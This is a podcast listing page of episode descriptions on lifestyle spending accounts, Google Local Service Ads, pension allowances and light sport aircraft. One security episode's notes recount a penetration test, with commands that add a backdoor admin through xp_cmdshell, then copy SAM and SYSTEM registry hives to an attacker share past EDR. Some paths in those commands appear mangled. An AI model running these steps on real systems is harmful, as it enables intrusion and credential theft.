Podcasts about lsa

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Best podcasts about lsa

Latest podcast episodes about lsa

The H.I.T. Podcast
Ep #130: Lifestyle Spending Accounts Explained | Why Employers Love Them

The H.I.T. Podcast

Play Episode Listen Later Oct 21, 2025 19:37


Have you heard of an LSA—or wondered why they're quickly becoming one of the most popular employee benefits out there?In this episode, I sit down with Rob Cinco to break down everything you need to know about Lifestyle Spending Accounts—what they are, how they work, and why both employers and employees can't get enough of them!We cover:What an LSA is and how it differs from FSAs & HSAsWhy employers are adding them to their benefits mixHow employees use them for real, everyday wellness perksThe pros, cons, and creative ways to roll one outIf you're looking for a fresh, flexible, and fun benefit idea to bring to your organization, LSAs might be exactly what you've been looking for! ????About the Show:The H.I.T. Podcast (Powered by Montage Insurance Solutions): A thought leader in the space, curating the top news and information to deliver a brief, high impact overview designed specifically for the Human Resources professional, business person, and company executive.

Startup Gems
You Can Make $1K/Hour With This Seasonal Side Hustle⏐Ep. #236

Startup Gems

Play Episode Listen Later Oct 20, 2025 28:25


Check out my newsletter at ⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠https://TKOPOD.com⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠ and join my new community at ⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠https://TKOwners.com⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠━In this episode I talk with Wesley Parkin from Grounds Guys Keller about how the Christmas lights business really works. We go over real numbers on what homeowners pay, how margins grow from year one to year three, and why commercial installs can completely change your income. We dig into lead generation with LSA, PPC, and Facebook ads, the best time of year to start marketing, and the quick setup and takedown process that keeps this side hustle efficient. We also cover safety gear like Cougar Paws and a pitch wedge, the difference between selling and leasing lights, and how route density can help you hit $1K an hour during peak season. If you've been looking for a seasonal business with real numbers and proven demand, this one shows you exactly how it's done.Find Grounds Guys Keller at https://www.groundsguys.com/keller-tx/Follow them on Facebook: https://www.facebook.comEnjoy! ---Watch this on YouTube instead here: ⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠tkopod.co/p-yt⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠Ask me a question on or off the show here: ⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠http://tkopod.co/p-ask⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠Learn more about me: ⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠http://tkopod.co/p-cjk⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠Learn about my company: ⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠http://tkopod.co/p-cof⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠Follow me on Twitter here: ⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠http://tkopod.co/p-x⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠Free weekly business ideas newsletter: ⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠http://tkopod.co/p-nl⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠Share this podcast: ⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠http://tkopod.co/p-all⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠Scrape small business data: ⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠http://tkopod.co/p-os⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠---

Fahrradstadt Magazin
RadPod#182 Schulstraßen

Fahrradstadt Magazin

Play Episode Listen Later Oct 20, 2025 67:23


Menschenkette gegen Falschparkende | Staatsanzeiger Hessen zum Falschparken DB Fahrrad-App Todesfall Schauspielerin Mehr Schulkinder im Verkehr verletzt | Stellungnahme Schulstraßen MD | Anfrage Schulstraßen MD – mit Kontext | Rundschreiben Schulstraßen Niedersachsen | Straßengesetz LSA | Straßengesetzt Niedersachsen | Stellungnahme MID Sachsen-Anhalt Schulstraßen Schüler*innen setzten sich in MD erfolgreich für sicheren Schulweg ein | Stadtratsbeschluss Fußverkehrskonzept Beschluss | Anfrage zum Fußverkehr und VEP | Stellungnahme Update Petriförder Stellungnahme Forschungsprojekt Rules Stellungnahme | Link zum Projekt

The Meaningful Money Personal Finance Podcast
Listener Questions Episode 29 - Retire Soon

The Meaningful Money Personal Finance Podcast

Play Episode Listen Later Oct 15, 2025 42:53


In today's Q&A episode, we're answering a bunch of questions from those on the threshold of retirement, getting into the nitty-gritty of age-difference planning, DB scheme reductions and all sorts! Shownotes: https://meaningfulmoney.tv/QA29    01:04  Question 1 Hi Pete I am really enjoying listening to the podcast, thank you. They make what can sometimes be a complicated subject much easier to understand. I have a question which I have asked my SIPP provider but even they don't appear to know the answer so here goes: If someone has a SIPP valued at say £1.2m and a DB pension valued at say £300k, in order to maximise the favourable annuity provided by the DB pension, is it possible to draw the full LSA (25% tax free cash) from the SIPP? Or is there a requirement to draw the LSA on a pro rata basis from both the SIPP and the DB pension? Thank you, AJ 07:07  Question 2 Hi Pete and Roger, Thanks to The Meaningful Money Handbook, The Meaningful Money Retirement Guide and listening to all of your podcasts, I'm now in the fortunate position to retire in three years at the age of 55. However, I have a couple of questions about building a Cash Flow Ladder: Q1 - Should I be moving my investments into the various rungs of the ladder now, or just wait until I retire? Q2 - Most of my investments are in a pension, but I also have an ISA for a bit of flexibility. Would it make sense to use the same ladder structure in both the pension and the ISA? Thanks for all your good work. Tim 11:17  Question 3 Hi guys Loving the podcast - helped me through the COVID years and it's been a staple ever since so thank you for that. My question is around investing in older age. At what point, if any, is it worth cashing out GIA investments if other sources of income such as state pension and DB pensions are more than enough to live off and I have sufficient other capital (cash isas) for those big things still ahead? I'm not planning to leave any sort of inheritance (unless I pop my clogs early !) so is there some rule of (age) thumb of when to cash out and spend investments? I sort of don't see the point of continuing to invest after a certain age and to spend the money. But I guess it's not easy switching from investing to spending. Thanks, Chris 16:33  Question 4 Hi Pete & Roger, Great show gents, always interesting and informative.  I've been an avid listener for a couple of years now and have been encouraged to write in on the off-chance that my question may have relevance to others with a similar dilemma. I fear you may feel it's too niche but here goes: I'm 59yrs old and for all intents and purposes retired, in as much as I quit my career in business 18months ago to take on the full-time parental care role of my 6yr old twins which enables my wife (15yrs my junior) to continue in the career she loves. We are fortunate that my wife is an additional higher rate tax payer (as was I before I quit), we live mortgage free in a ~£1.5m family house - all of which means I have no plans to draw a pension until my wife is also ready to retire, which despite her occasional gripe, is not likely to be until our children leave school (by which time we will be ~ 72 and 57 respectively). I have a small index-linked Public Sector DB pension that kicks in in a few months time when I hit 60 (£7k per year) and expect to get a full State Pension which should provide me with around £20k p.a. at todays values as a base income when I reach state pension age in 7 years time. I also have a Pension pot currently valued at around £1.2m, made up from £1m SIPP and £200k S&S ISA) and my wife's Pension pot is currently valued at around £520k (£400k SIPP & £120K S&S ISA).  I no longer contribute to my SIPP but my wife invests around £30k Gross in to her SIPP annually and we plan on continuing to fill both ISA allowances each year until she retires.  We are both 100% invested in equities using low-cost Global trackers to maximise their growth potential. Here's my question, I was burnt a few years back (before I started listening to podcast like yours to educate myself on how to manage my finances) when I was persuaded to join SJP and combine all my old workplace pensions into a single pot managed with them.  I even persuaded my wife to join and I opened Junior SIPPs for my twins when they were born (not their advice, my own) which we continue to pay the full amount into monthly to hopefully secure their future retirement. Long and the short of it, the more I learned about investing, the more I regretted my decision to tie myself into SJP and the more I begrudged paying their relatively high fees (for what turned out to be a lower return than much lower cost tracker options could / would have produced over that same time period). I eventually sucked up the exit fees and bailed out a few years back, taking my wife and children's accounts with me and whilst I haven't looked back, it has made me reluctant to spend money on financial advisors, given the perceived poor advice I felt I received last time. To that end, I'm currently planning on managing mine and my wife's finances through retirement without recourse to an advisor but have started to have niggling doubts as to the whether I'm being too arrogant in my own abilities. In simple terms, our aim to build a combined Pension Pot (incorporating a healthy ISA element to aid in tax-efficient drawdown, allow my wife to retire early(er) if she so desires and to cover one-off expenses that may from time to time will come up) that's large enough for us to live off comfortably based on a flexible 3-3.5% drawdown rate annually (index-linked).  The plan is also to remain 100% invested in equity throughout retirement with the exception of and maintaining, a 3-5yr cash-like buffer (invested in MM Funds / short term government bonds) from which to take our living expenses. My wife and I are not extravagant spenders and can easily cut our cloth according to circumstances, so my feeling is, with a small but decent guaranteed income that we will have as a foundation, when combined with what I hope/expect to be a sizeable joint Pension Pot and a relatively low and sustainable withdrawal rate that should see us right even through the harshest of winters (metaphorically speaking) this should provide all the income we'll need for a comfortable retirement with a good chance of leaving a fair amount left in the pot for our children at the end, without over complicating our portfolio or expensive management costs. The obvious concern I have is around IHT but even there, I feel like that's a concern to address further down the road once we know we are financially secure and when we know more about the needs of our children as they grow-up and can plan what to do with any excess cash we might have using the rules in place at that time. Sounds simple, but is it too simple?  Can you spot any obvious flaws in this plan or reasons why you think seeking professional advice would make sense that may not have considered? Thank you and keep up the good work! Regards, Aaron 27:42  Question 5 Hi both Love the podcast. I listen regularly and enjoy hearing the banter between the two of you,  as well as providing answers to thought provoking questions. As an additional rate taxpayer in Scotland, my marginal income tax rate is an eye watering 48%. So I get significant benefit from tax relief when topping up my pension. It can cost as little as £33,000 to enjoy a full input of £60,000 once I get money back on my tax return. I have been diligently stuffing my pension as much as I could afford for years now as it was always the prevailing financial advice. I'm now only a couple of years away from retiring at age 55. I am fortunate enough to be now over the old LTA (which is now of no consequence). However the tax free limit is still set at 25% of that old allowance (£268,273?). Given I am now NOT going to benefit from any further tax free money on the way out, I wonder whether continuing to contribute to my pension is a good idea anymore. My choices are either : 1) Pay into the pension and enjoy tax relief of 48% now, allow the fund to accumulate tax free over the coming years, then pay income tax on the way out at 40%. (I expect to be high rate , not additional or basic rate tax payer in retirement) 2) Take the tax hit now on income, don't contribute to pension, put the nett amount into a GIA, and pay 24% CGT on the gain on the way out. I did some numbers and while the pension wins out, it's not by much over a 10 year term assuming 5% growth. But tax rates could change, pension rules could change, and inheritance tax changes are pending. Can you compare the pros and cons of each approach to help me make a decision, or is there a third option to consider? (I hear Roger sometimes suggest a strategy of taking the tax hit now rather than later e.g better the devil you know) I hope this makes sense. Thanks, Martin   33:47  Question 6 I became an avid listener of the podcast during the first lockdown and have learned so much in the past 5 years. I really enjoy it and appreciate all the effort you put into it. My question is with regard to age gap relationships and planning for retirement. I'm 59 and am currently contributing to the NHS Pension Scheme. Part of my pension can be taken at  age 60, without deduction, and I hope to have an income of £16,000 plus a £50,000 lump sum. The rest of my pension I'll be able to take at age 67 and by the age of 63 I hope to have a further pension of £18,000 without a lump sum. In addition to this, from my career before the NHS, I have a SIPP and the current value is £400,000. 63 is the age by which I hope to have stopped working at my current level but it might be sooner. My wife is ten years younger than me and has not been working for most of her adult life. Currently she is paying into a local authority DB scheme but by the time she is 58 her pension entitlement might only be £5,000 per year, but this would need to be discounted by 40%-50% in order to take that income. By the time we are eligible I expect both of us to qualify for the full state pension. We have no other cash savings to speak of and our mortgage is due to be paid off next year, when I will be 60. My question is what advice do you have for couples who face this age gap issue. The plan is that we want to spend our retirement together while I am fit and active (well fit-ish). Once we both have the state pension, with my NHS Pension, we should have an income of £58,000 at todays values, which will be enough for our needs when I am in my late seventies, but might make me a higher rate taxpayer in requirement. Before then, we'd like to spend a bit more and we are planning to use my SIPP and my wife's DB scheme (when she is 58) to fund our pension, until it is replaced by the second NHS Pension and the state pensions. I never realised this would be so complicated to get my head around. When the mortgage is paid off, we'll have some money and should we concentrate in paying it into an ISA so that we can get an additional income without me having to pay higher rate tax, or should we set up a SIPP for my wife so that she can build up a pot of money that she can drawdown on from when she is 58. This would be with the aim of her utilising as much of her annual tax free allowance as possible. I've assumed there is no way that I can transfer part of my SIPP to her before I die. I very much hope that you can help. Best wishes, Steve    

Owned and Operated
#249 How to Build a National Septic Pumping Empire (The 2025 Playbook)

Owned and Operated

Play Episode Listen Later Oct 9, 2025 58:40 Transcription Available


John sits down with Micah Findley (HomeField) to talk about building a national brand in one of the most overlooked trades: The Septic Pumping Business. From pricing thousand-gallon pumps to dump fees, grease traps, and service agreements, this is the real playbook for scaling a modern Septic Pumping operation.They unpack the entire stack—how a Septic Truck Business goes beyond “just pumping” into repairs, installs, commercial work, and recurring maintenance—plus route density, transfer (frac) tanks, land application vs treatment plants, AR policies, and the software/marketing engines (LSA, PPC, ServiceTitan/Housecall Pro) that drive profitable Septic Pumping growth.

Hög av Serier
Hög av Serier #462: This one goes to 11

Hög av Serier

Play Episode Listen Later Oct 7, 2025


Freddie och Anders pratar lite morbida nyheter med bäring på seriebranschen, minns bokmässor från förr och debatterar för och nackdelar med att vara Sveriges äldsta ännu aktiva seriepodcast. Det blir en samrecension av Scott Snyder och Nick Dragottas Absolute Batman volym ett. Anders har läst Batman nummer ett av Matt Fraction och Jorge Jiménez. Freddie...

Maven Marketing with Brandon Welch
5 Reasons You're Not Seeing Your Business on Google

Maven Marketing with Brandon Welch

Play Episode Listen Later Oct 6, 2025 39:58 Transcription Available


Send us a textIf your ads are running, your SEO guy is paid, and your phone still isn't ringing — this one's for you.Brandon and Caleb break down the five biggest reasons businesses disappear from Google and how the rules of search have quietly changed.From AI Overviews to Local Service Ads, Google Maps, and organic SEO, this episode reveals where your marketing dollars are leaking and how to plug the holes fast. Inside this episode:What Google's new AI Overviews mean for local business visibilityThe overlooked ranking factors in LSA and MapsWhy your ads aren't showing (and how to fix it)The new kind of content Google actually rewardsFor entrepreneurs wanting to grow without wasting money, join the Maven Marketing Mastermind → https://www.mavenmethodtraining.comOur Website: https://frankandmaven.com/Instagram: /frankandmavenmarketing TikTok: /frankandmavenLinkedIn: /frank-and-maven  Host: Brandon WelchCo-Host: Kyle DeVriesExecutive Producer: Carter BreauxAudio/Video Producer: Nate the Camera GuyDo you have a marketing problem you'd like us to help solve? Send it to MavenMonday@FrankandMaven.com! Get a copy of our Best-Selling Book, The Maven Marketer Here: https://a.co/d/1clpm8a

The Void
The Void #212 – Google Reviews

The Void

Play Episode Listen Later Oct 3, 2025 80:26


In this episode, Mitch and David go over why it is so important to be getting google reviews in your business. How to get them, how to get your employees to get them, how it helps your google LSA. It's more important than you think. Not to mention an apology from Mitch. Not ready for a full blown CRM, this is a great option. Build jobs, bids, and invoice straight from the app. TW Job Calculator APPS https://play.google.com/store/apps/details?id=com.tradewinsconsulting.jobcalculator https://apps.apple.com/us/app/trade-wins-job-calculator/id6744992264?platform=iphone Trade Wins by Trading Content https://www.facebook.com/groups/1309829410166761 If you have questions you'd like us to answer, please feel free to email them to AskMitch@MitchSmedley.com Thanks for listening and thanks for sharing! Enjoy the show! If you'd like more insight from Mitch and David, you need to check out Trade Wins. Trade Wins can help you start your business or take your newer business and get it to a very healthy level. For more information about Trade Wins, check out https://www.tradewinsconsulting.com/ FieldPulse is the Official Field Service Management Software of The Void Podcast. Their software is ideal for you and your business. For more information about how FieldPulse can benefit you, check them out here: https://www.fieldpulse.com/book-demo?utm_source=referral&utm_medium=partner&utm_campaign=TheVoid/TradeWins Need a better credit card processor? These guys are it http://empowerpayments.com/TheVoid Contact us: askmitch@mitchsmedley.com david@tradewinsconsulting.com mitch@tradewinsconsulting.com

People I (Mostly) Admire
167. The Secret of Humanity? It's Common Knowledge.

People I (Mostly) Admire

Play Episode Listen Later Sep 27, 2025 58:45


Steven Pinker's new book argues that all our relationships depend on shared assumptions and “recursive mentalizing” — our constant efforts to understand what other people are thinking. He and Steve talk about the psychology of eye contact, the particular value of Super Bowl ads, and what it's like to get cancelled. SOURCES:Steven Pinker, professor of psychology at Harvard University. RESOURCES:When Everyone Knows That Everyone Knows, by Steven Pinker (2025)."Why I Left Harvard," by Carole Hooven (The Free Press, 2024).Rationality: What It Is, Why It Seems Scarce, Why It Matters, by Steven Pinker (2021)."Economics of Toilet Paper X Thread," by Justin Wolfers (2020)."How a Famous Harvard Professor Became a Target Over His Tweets," by Michael Powell (New York Times, 2020)."Police Killings of Blacks: Here Is What the Data Say," by Sendhil Mullainathan (2015).SuperFreakonomics: Global Cooling, Patriotic Prostitutes, and Why Suicide Bombers Should Buy Life Insurance, by Steven Levitt and Stephen Dubner (2011).Rational Ritual: Culture, Coordination, and Common Knowledge, by Michael Suk-Young Chwe (2003)."Open Letter to the LSA." EXTRAS:"Steven Pinker: 'I Manage My Controversy Portfolio Carefully,'" by People I (Mostly) Admire (2020). Hosted by Simplecast, an AdsWizz company. See pcm.adswizz.com for information about our collection and use of personal data for advertising.

Grow Your Law Firm
Optimizing Law Firm Visibility Through Local Search With Seth Price

Grow Your Law Firm

Play Episode Listen Later Sep 26, 2025 32:56


Welcome to episode 298 of Grow Your Law Firm, hosted by Ken Hardison. In this episode, Ken is joined by Seth Price, founder of BluShark Digital and managing partner at Price Benowitz LLP. An accomplished attorney and transformational thought leader, Seth is a founding partner and the business backbone of Price Benowitz LLP, as well as the founder and CEO of BluShark Digital. Seth scaled a two-person law firm to 45 lawyers and leveraged that same digital expertise to create a best-in-class agency focused on legal marketing. He frequently speaks at major U.S. law conferences on topics including firm growth, ethics, operational best practices, SEO, and digital marketing strategies for law firms. What you'll learn about in this episode: 1. AI and SEO Strategy: - How law firms can optimize for AI-driven search results without losing monetizable traffic - Using mentions and strategic placement in AI indexing to maintain visibility 2. Local Search and Google Maps: - How expanding Google My Business listings and satellite offices increases local reach - The role of review velocity in improving rankings and attracting clients 3. Balancing AI Efforts with Revenue: - Allocating marketing budget to AI results while maintaining ROI from proven channels - Understanding which AI-driven initiatives provide social proof versus actual revenue 4. LSA and PPC Strategies: - Why Local Service Ads often outperform traditional PPC for cost-effective lead generation - Ensuring intake processes are dialed in to maximize the value of LSA leads 5. Digital Marketing Best Practices: - The importance of owning digital assets, websites, social profiles, and ad accounts - Leveraging content from podcasts, videos, and other organic sources for long-term SEO   Resources:    Website: blusharkdigital.com LinkedIn: linkedin.com/in/sethprice/ Twitter (X): x.com/blusharkdigital   Additional Resources:    https://www.pilmma.org/aiworkshop https://www.pilmma.org/the-mastermind-effect https://www.pilmma.org/resources https://www.pilmma.org/mastermind   AI for PI Expo:   www.pilmma.org/ai-for-pi-expo

Flight Safety Detectives
Evolution Revo LSA Fatal Plane Crash - Episode 294

Flight Safety Detectives

Play Episode Listen Later Sep 24, 2025 22:46


Spotlight on the September 2024 fatal crash involving an Evolution Revo light sport weight shift aircraft (LSA). A CFI and student pilot were killed when the aircraft's wings folded and it entered a steep dive.Todd Curtis and John Goglia explore questions not answered in the recently released NTSB report. How or why did the CFI miss the checklist item to attach a key support cable? Had the aircraft recently been transported? Was work done on the aircraft?The aircraft uses hang-glider-like wings for lift. It relies on moving a control bar to shift the center of gravity and change the shape of the wing and does not rely on traditional flight control surfaces. Despite his extensive experience with the aircraft, the CFI did not properly attach a key support cable called a haul back cable.LSA rules will change in 2025 and 2026, including allowing pilots with an LSA certification to fly larger aircraft like the Cessna 172.  Don't miss what's to come from the Flight Safety Detectives - subscribe to the Flight Safety Detectives YouTube channel, listen at your favorite podcast service and visit the Flight Safety Detectives website. Want to go deeper with the Flight Safety Detectives? Join our YouTube Membership program for exclusive perks like members-only live streams and Q&As and early access to episodes. Your membership support directly helps John, Greg and Todd to deliver expert insights into aviation safety.Interested in partnering with us? Sponsorship opportunities are available—brand mentions, episode integrations, and dedicated segments are just a few of the options. Flight Safety Detectives offers a direct connection with an engaged audience passionate about aviation and safety. Reach out to fsdsponsors@gmail.com. Music: “Inspirational Sports” license ASLC-22B89B29-052322DDB8 Hosted by Simplecast, an AdsWizz company. See pcm.adswizz.com for information about our collection and use of personal data for advertising.

7 Minute Security
7MS #692: Tales of Pentest Pwnage – Part 76

7 Minute Security

Play Episode Listen Later Sep 12, 2025 32:45


Happy Friday! Today's another hot pile of pentest pwnage. To make it easy on myself I'm going to share the whole narrative that I wrote up for someone else: I was on a pentest where a DA account would sweep the networks every few minutes over SMB and hit my box. But SMB signing was on literally everywhere. The fine folks here recommended I try relaying to something NOT SMB, like MSSQL. This article had good context on that: https://www.guidepointsecurity.com/blog/beyond-the-basics-exploring-uncommon-ntlm-relay-attack-techniques/. I relayed the DA account to a SQL box that BloodHound said had a “session” from another DA. One part I can't explain is the first relay got me a shell in the context of NT SERVICEMSSQLSERVER. That shell broke for some reason while I was sleeping that night, and the next relay landed as NT AUTHORITYSYSTEM (!). The net command would let me add a new user, but BLOCK me trying to make that new user a local admin. However, a scheduled task did the trick: xp_cmdshell schtasks /create /tn "Maintenance" /tr "net local group administrators backdoor /add" /sc once /st 12:00 /ru SYSTEM /f and then xp_cmdshell schtasks /run /tn "Maintenance". Turns out a DA wasn't interactively logged in, but a DA account was configured to run a specific service. I learned those goodies are stored in LSA, so the next move was to use my local admin account to RDP in to the victim and create a shadow copy. That part went fine, but for the life of me I couldn't copy reg hives out of it – EDR was unhappy. In the end, the bizarre combo of things that did the trick was: Setup smbserver.py with username/password auth on my attacking box: smbserver.py -smb2support share . -username toteslegit -password 'DontMindMeLOL!' From the victim system, I did an mklink to the shadow copy: mklink /d C:tempbackup ?GLOBALROOTDeviceHarddiskVolumeShadowCopy123 From command prompt on the victim system, I authenticated to my rogue share: net use ATTACKER_IPshare /user:toteslegit DontMindMeLOL! Then I did a copy command for the first hive: copy SYSTEM my.attackingipsys.test. EDR would kill this cmd.exe box IMMEDIATELY. However….the copy completed! I repeated this process to get SAM copied over as sam.test. Again, EDR nuked the cmd.exe window but copy completed!!!111!!!!! Finishing move: secretsdump -sam sam.test -system sys.test LOCAL

Remarkable Results Radio Podcast
Scaling Your Marketing As You Scale Your Shop [E169] - The Auto Repair Marketing Podcast

Remarkable Results Radio Podcast

Play Episode Listen Later Sep 10, 2025 26:28


Thanks to our Partners, Shop Boss and AppFueledRyan Grace and David Gibson, former techs turned shop owners, join host Brian Walker to share how they built Pleasant Automotive in Wake Forest, NC. They started with a website before they even had a location. With no deep pockets or big investors, they focused on smart, strategic marketing moves that helped them grow fast without wasting money.Brian dives into their decision-making process, from ditching direct mail to doubling down on Google LSAs, and how strong phone skills turned casual calls into loyal customers. They talk openly about what worked, what flopped, and how they've created a brand that feels more like a high-end speakeasy than a typical auto shop.This episode is packed with takeaways for shop owners who want to scale without the fluff. It's about being intentional, building relationships, and letting marketing fuel real growth.Introduction and Sponsor Acknowledgment (00:00:01) Host introduces the podcast, guests, and thanks sponsors.Background and Shop Ownership Journey (00:01:03) Ryan and David share their transition from technicians to shop owners and their first year in business.Tesla Specialty and Local Market Opportunity (00:01:59) Discussion of their focus on Tesla repairs due to poor local dealership service.Early Marketing Strategy: Website and SEO (00:03:46) Started with a website and SEO before opening, aiming for Google visibility from day one.Financial Preparations and Entrepreneurial Mindset (00:06:06) Talk about financial risks, faith, and foundational steps like securing a domain name.Scaling Services and Adding Marketing Channels (00:07:52) Gradual addition of services and marketing channels, including Google Ads.Seeking Industry Guidance and Community Involvement (00:08:59) Leaning on industry experts, SCORE, and engaging in community programs like Adopt a Highway.Evaluating Community Marketing ROI (00:09:52) Discusses the intangible benefits of community involvement and local visibility.Initial Marketing Company Experience (00:11:21) Tried a budget marketing company for website/SEO; found it ineffective and disappointing.Value of Investing in Quality Marketing (00:13:03) Realization that higher-quality, more expensive marketing services yield better results.Balancing Aggressive Growth with Financial Prudence (00:16:24) How they scaled marketing aggressively but sustainably, reallocating budget from ineffective channels.Best Performing Marketing: Google Local Service Ads (00:17:31) Google Local Service Ads identified as the most effective marketing channel.Optimizing and Adapting LSA Campaigns (00:18:29) Describes the learning curve and adjustments needed to maximize LSA effectiveness.Importance of Phone Skills and Customer Service (00:20:02) Emphasizes the role of strong phone skills and customer care in converting leads.Advice for New Shop Owners on Marketing (00:21:47) Recommends launching a website early and investing in top-tier marketing services.AI, Online Presence, and Future Trends (00:22:04) Mentions being found on Reddit, the rise of AI, and its impact on business visibility.Future Plans for Pleasant Automotive (00:23:24) Plans to expand with more small, relationship-focused locations, maintaining a "speakeasy" feel.Closing Remarks and Anecdotes (00:24:52) Host and guests share personal stories, thank listeners, and wrap up the episode.Lagniappe (Books, Links, Other Podcasts, etc)

The Auto Repair Marketing Podcast
Scaling Your Marketing As You Scale Your Shop [E169]

The Auto Repair Marketing Podcast

Play Episode Listen Later Sep 10, 2025 26:28


Thanks to our Partners, Shop Boss and AppFueledRyan Grace and David Gibson, former techs turned shop owners, join host Brian Walker to share how they built Pleasant Automotive in Wake Forest, NC. They started with a website before they even had a location. With no deep pockets or big investors, they focused on smart, strategic marketing moves that helped them grow fast without wasting money.Brian dives into their decision-making process, from ditching direct mail to doubling down on Google LSAs, and how strong phone skills turned casual calls into loyal customers. They talk openly about what worked, what flopped, and how they've created a brand that feels more like a high-end speakeasy than a typical auto shop.This episode is packed with takeaways for shop owners who want to scale without the fluff. It's about being intentional, building relationships, and letting marketing fuel real growth.Introduction and Sponsor Acknowledgment (00:00:01) Host introduces the podcast, guests, and thanks sponsors.Background and Shop Ownership Journey (00:01:03) Ryan and David share their transition from technicians to shop owners and their first year in business.Tesla Specialty and Local Market Opportunity (00:01:59) Discussion of their focus on Tesla repairs due to poor local dealership service.Early Marketing Strategy: Website and SEO (00:03:46) Started with a website and SEO before opening, aiming for Google visibility from day one.Financial Preparations and Entrepreneurial Mindset (00:06:06) Talk about financial risks, faith, and foundational steps like securing a domain name.Scaling Services and Adding Marketing Channels (00:07:52) Gradual addition of services and marketing channels, including Google Ads.Seeking Industry Guidance and Community Involvement (00:08:59) Leaning on industry experts, SCORE, and engaging in community programs like Adopt a Highway.Evaluating Community Marketing ROI (00:09:52) Discusses the intangible benefits of community involvement and local visibility.Initial Marketing Company Experience (00:11:21) Tried a budget marketing company for website/SEO; found it ineffective and disappointing.Value of Investing in Quality Marketing (00:13:03) Realization that higher-quality, more expensive marketing services yield better results.Balancing Aggressive Growth with Financial Prudence (00:16:24) How they scaled marketing aggressively but sustainably, reallocating budget from ineffective channels.Best Performing Marketing: Google Local Service Ads (00:17:31) Google Local Service Ads identified as the most effective marketing channel.Optimizing and Adapting LSA Campaigns (00:18:29) Describes the learning curve and adjustments needed to maximize LSA effectiveness.Importance of Phone Skills and Customer Service (00:20:02) Emphasizes the role of strong phone skills and customer care in converting leads.Advice for New Shop Owners on Marketing (00:21:47) Recommends launching a website early and investing in top-tier marketing services.AI, Online Presence, and Future Trends (00:22:04) Mentions being found on Reddit, the rise of AI, and its impact on business visibility.Future Plans for Pleasant Automotive (00:23:24) Plans to expand with more small, relationship-focused locations, maintaining a "speakeasy" feel.Closing Remarks and Anecdotes (00:24:52) Host and guests share personal stories, thank listeners, and wrap up the episode.Lagniappe (Books, Links, Other Podcasts, etc)

Apolline Matin
Le choix d'Apolline : Yves Puget - 04/09

Apolline Matin

Play Episode Listen Later Sep 4, 2025 6:27


Avec : Yves Puget, directeur de la rédaction du magazine LSA. - Tous les matins à 7h40, l'invité qui fait l'actualité. Un acteur incontournable, un expert renseigné... 10 minutes d'interview sans concession avec Apolline de Malherbe et les témoignages des auditeurs de RMC au 3216.

Legal Marketing Happy Hour
PPC and Local Service Ads for Law Firms: Best Practices and Common Mistakes

Legal Marketing Happy Hour

Play Episode Listen Later Sep 3, 2025 18:38


